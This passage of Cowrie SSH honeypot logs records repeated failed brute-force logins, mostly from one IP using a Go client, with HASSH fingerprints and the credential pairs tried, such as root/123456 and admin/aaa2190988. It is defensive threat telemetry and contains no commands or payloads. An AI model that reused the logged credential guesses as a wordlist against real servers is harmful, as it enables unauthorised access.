0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:49.853769Z","src_ip":"192.109.200.78","session":"b8e32d47616e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:50.407864Z","src_ip":"192.109.200.78","session":"b8e32d47616e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:51.494796Z","src_ip":"192.109.200.78","session":"b8e32d47616e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36436,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9caf6e1090","protocol":"ssh","message":"New connection: 192.109.200.78:36436 (10.17.0.5:22) [session: 0c9caf6e1090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:52.904245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:52.908369Z","src_ip":"192.109.200.78","session":"0c9caf6e1090","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:52.991793Z","src_ip":"192.109.200.78","session":"0c9caf6e1090","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:53.241848Z","src_ip":"192.109.200.78","session":"0c9caf6e1090","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:54.327724Z","src_ip":"192.109.200.78","session":"0c9caf6e1090","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57062,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a99d8f38339","protocol":"ssh","message":"New connection: 159.203.92.129:57062 (159.203.135.109:22) [session: 5a99d8f38339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:55.243997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:55.249514Z","src_ip":"159.203.92.129","session":"5a99d8f38339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:55.253731Z","src_ip":"159.203.92.129","session":"5a99d8f38339","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"aaa2190988","message":"login attempt [admin/aaa2190988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:55.266484Z","src_ip":"159.203.92.129","session":"5a99d8f38339","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:56.273739Z","src_ip":"159.203.92.129","session":"5a99d8f38339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36452,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fb2e97d7935","protocol":"ssh","message":"New connection: 192.109.200.78:36452 (10.17.0.5:22) [session: 6fb2e97d7935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:57.001260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:57.006468Z","src_ip":"192.109.200.78","session":"6fb2e97d7935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:57.094959Z","src_ip":"192.109.200.78","session":"6fb2e97d7935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:57.559784Z","src_ip":"192.109.200.78","session":"6fb2e97d7935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:42:58.644586Z","src_ip":"192.109.200.78","session":"6fb2e97d7935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44272,"dst_ip":"10.17.0.5","dst_port":22,"session":"b87a09c82d43","protocol":"ssh","message":"New connection: 192.109.200.78:44272 (10.17.0.5:22) [session: b87a09c82d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:01.209024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:01.214103Z","src_ip":"192.109.200.78","session":"b87a09c82d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:01.300129Z","src_ip":"192.109.200.78","session":"b87a09c82d43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:01.555634Z","src_ip":"192.109.200.78","session":"b87a09c82d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:02.687964Z","src_ip":"192.109.200.78","session":"b87a09c82d43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44292,"dst_ip":"10.17.0.5","dst_port":22,"session":"fac2912ebf9f","protocol":"ssh","message":"New connection: 192.109.200.78:44292 (10.17.0.5:22) [session: fac2912ebf9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:05.520719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:05.532452Z","src_ip":"192.109.200.78","session":"fac2912ebf9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:05.631978Z","src_ip":"192.109.200.78","session":"fac2912ebf9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:05.900644Z","src_ip":"192.109.200.78","session":"fac2912ebf9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:06.991773Z","src_ip":"192.109.200.78","session":"fac2912ebf9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37840,"dst_ip":"10.17.0.5","dst_port":22,"session":"9607bffa718f","protocol":"ssh","message":"New connection: 192.109.200.78:37840 (10.17.0.5:22) [session: 9607bffa718f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:09.558860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:09.563647Z","src_ip":"192.109.200.78","session":"9607bffa718f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:09.646115Z","src_ip":"192.109.200.78","session":"9607bffa718f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:10.051309Z","src_ip":"192.109.200.78","session":"9607bffa718f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:11.141279Z","src_ip":"192.109.200.78","session":"9607bffa718f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37856,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c336da78143","protocol":"ssh","message":"New connection: 192.109.200.78:37856 (10.17.0.5:22) [session: 0c336da78143]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:13.766923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:13.772919Z","src_ip":"192.109.200.78","session":"0c336da78143","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:13.855232Z","src_ip":"192.109.200.78","session":"0c336da78143","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:14.687197Z","src_ip":"192.109.200.78","session":"0c336da78143","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:15.821925Z","src_ip":"192.109.200.78","session":"0c336da78143","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37886,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcae92cadd63","protocol":"ssh","message":"New connection: 192.109.200.78:37886 (10.17.0.5:22) [session: bcae92cadd63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:17.822359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:17.828381Z","src_ip":"192.109.200.78","session":"bcae92cadd63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:17.912755Z","src_ip":"192.109.200.78","session":"bcae92cadd63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:18.220086Z","src_ip":"192.109.200.78","session":"bcae92cadd63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:19.305262Z","src_ip":"192.109.200.78","session":"bcae92cadd63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51528,"dst_ip":"10.17.0.5","dst_port":22,"session":"929b71b44917","protocol":"ssh","message":"New connection: 192.109.200.78:51528 (10.17.0.5:22) [session: 929b71b44917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:43:22.058892Z"}
